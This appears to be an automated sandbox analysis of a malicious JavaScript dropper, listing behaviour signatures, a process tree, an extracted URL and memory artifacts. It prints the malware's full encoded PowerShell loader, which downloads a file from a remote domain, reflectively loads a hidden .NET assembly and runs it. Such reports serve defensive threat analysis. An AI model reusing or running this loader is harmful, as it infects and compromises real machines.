Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/02/2026, 07:19

General

  • Target
    09304d0746da42935b7a0e62d2044dbc.js
  • Size 1.1MB
  • Sample260217-h5pbpaa16f
  • SHA256 abb155bea94f0aab06d9fdba99bf2fd48a19b482e97ba3fe9134d3f80b89508e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://uniworldrivercruises-co.uk/optimized_MSI.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\09304d0746da42935b7a0e62d2044dbc.js
    1⤵
      PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHRhdHRpZXMgPSAnIUAjJCXCqCYqJSQjQCEjJSQlJCNAISMlJCbCqCUkIyUkJirCqDU0ODdEMjU4NyQlNDU2NyMkJTovL3VuaXdvcmxkcml2ZXJjcnVpMjU4NyQlNDU2NyMkJWUyNTg3JCU0NTY3IyQlLWNvLnVrL28mwqglJCMlJCYqwqg1NDg3RCUkI0AhIyUkaW1pemVkX01TSS4mwqglJCMlJCYqwqg1NDg3RG5nJy5SZXBsYWNlKCchQCMkJcKoJionLCAnaCcpLlJlcGxhY2UoJyUkI0AhIyUkJywgJ3QnKS5SZXBsYWNlKCcmwqglJCMlJCYqwqg1NDg3RCcsICdwJykuUmVwbGFjZSgnMjU4NyQlNDU2NyMkJScsICdzJyk7ICRtb3J0aWVyZWxsYSA9ICdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXHVGY09mVFlZR0gnOyBpZiAoIShUZXN0LVBhdGggJG1vcnRpZXJlbGxhKSAtb3IgKChHZXQtRGF0ZSkgLSAoR2V0LUl0ZW0gJG1vcnRpZXJlbGxhKS5MYXN0V3JpdGVUaW1lKS5Ub3RhbERheXMgLWd0IDEpIHsgICAkUHJvZ3Jlc3NQcmVmZXJlbmNlID0gJ1NpbGVudGx5Q29udGludWUnOyAgIEludm9rZS1XZWJSZXF1ZXN0IC1VcmkgJHRhdHRpZXMgLU91dEZpbGUgJG1vcnRpZXJlbGxhIC1Vc2VCYXNpY1BhcnNpbmcgfTsgJHNhbGFjaXRpZXMgPSBbSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkbW9ydGllcmVsbGEpOyAkcmVmZXJlbmNlZCA9IFtUZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRzYWxhY2l0aWVzKTsgJHN1YnNjcmlwdGlvbnMgPSAkcmVmZXJlbmNlZC5JbmRleE9mKCdCYXNlU3RhcnQtJyk7ICRicmFxdWVtYXJ0ID0gJHJlZmVyZW5jZWQuSW5kZXhPZignLUJhc2VFbmQnKTsgaWYgKCRzdWJzY3JpcHRpb25zIC1nZSAwIC1hbmQgJGJyYXF1ZW1hcnQgLWd0ICRzdWJzY3JpcHRpb25zKSB7ICAgJGRpc2Vhc2VsZXNzID0gJHJlZmVyZW5jZWQuU3Vic3RyaW5nKCRzdWJzY3JpcHRpb25zICsgMTAsICRicmFxdWVtYXJ0IC0gJHN1YnNjcmlwdGlvbnMgLSAxMCk7ICAgJHB5c2Fua3kgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXNlYXNlbGVzcykpOyAgICRtZXNuZSA9ICdKejFSU0dVd05WTmxiRFV5WW5Sa2JXSndVa2RpY0ZadVdYWnJSRTE1TkhsTk1UUnBUbmcwUTA4elJYcE1kbTlFWXpCU1NHRW5MQ2N3Snl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZDFSbU5QWmxSWldVZElKeXduUTJGelVHOXNKeXduTUNjc0owTmhjMUJ2YkNjc0p6QW5MQ2RvZEhSd09pOHZNVGM0TGpFMkxqVXpMakl3T1M5aWRXbHNaR2x1WjIxdmJtVjVMblI0ZENjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25kVVpqVDJaVVdWbEhTQ2NzSjJwekp5d25NU2NzSnpFbkxDYzVZMUZuUTJ4aWQwMXRKeXduTUNjc0p5Y3NKeWNzSnljPSc7ICAgJGtub2Nrb2ZmcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG1lc25lKSk7ICAgJGJveHlzeXN0ZW1zID0gJGtub2Nrb2ZmcyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgICBbU29mdHdhcmUuUHJvZ3JhbV0uR2V0TWV0aG9kKCJNYWluIikuSW52b2tlKCRudWxsLCAkYm94eXN5c3RlbXMpOyB9')) | Invoke-Expression"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2328

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_rqgxfh4q.1hi.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqgxfh4q.1hi.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2328-4-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

          memory/2328-3-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

          memory/2328-10-0x00000240AD4E0000-0x00000240AD502000-memory.dmp

          memory/2328-12-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

          memory/2328-17-0x0000024094D40000-0x0000024094D4C000-memory.dmp

          memory/2328-18-0x00000240AD1E0000-0x00000240AD28F000-memory.dmp

          memory/2328-19-0x00000240AD490000-0x00000240AD4A2000-memory.dmp

          memory/3928-2-0x000001A9BD8D0000-0x000001A9BD8DC000-memory.dmp

          memory/3928-1-0x000001A9BD650000-0x000001A9BD6FE000-memory.dmp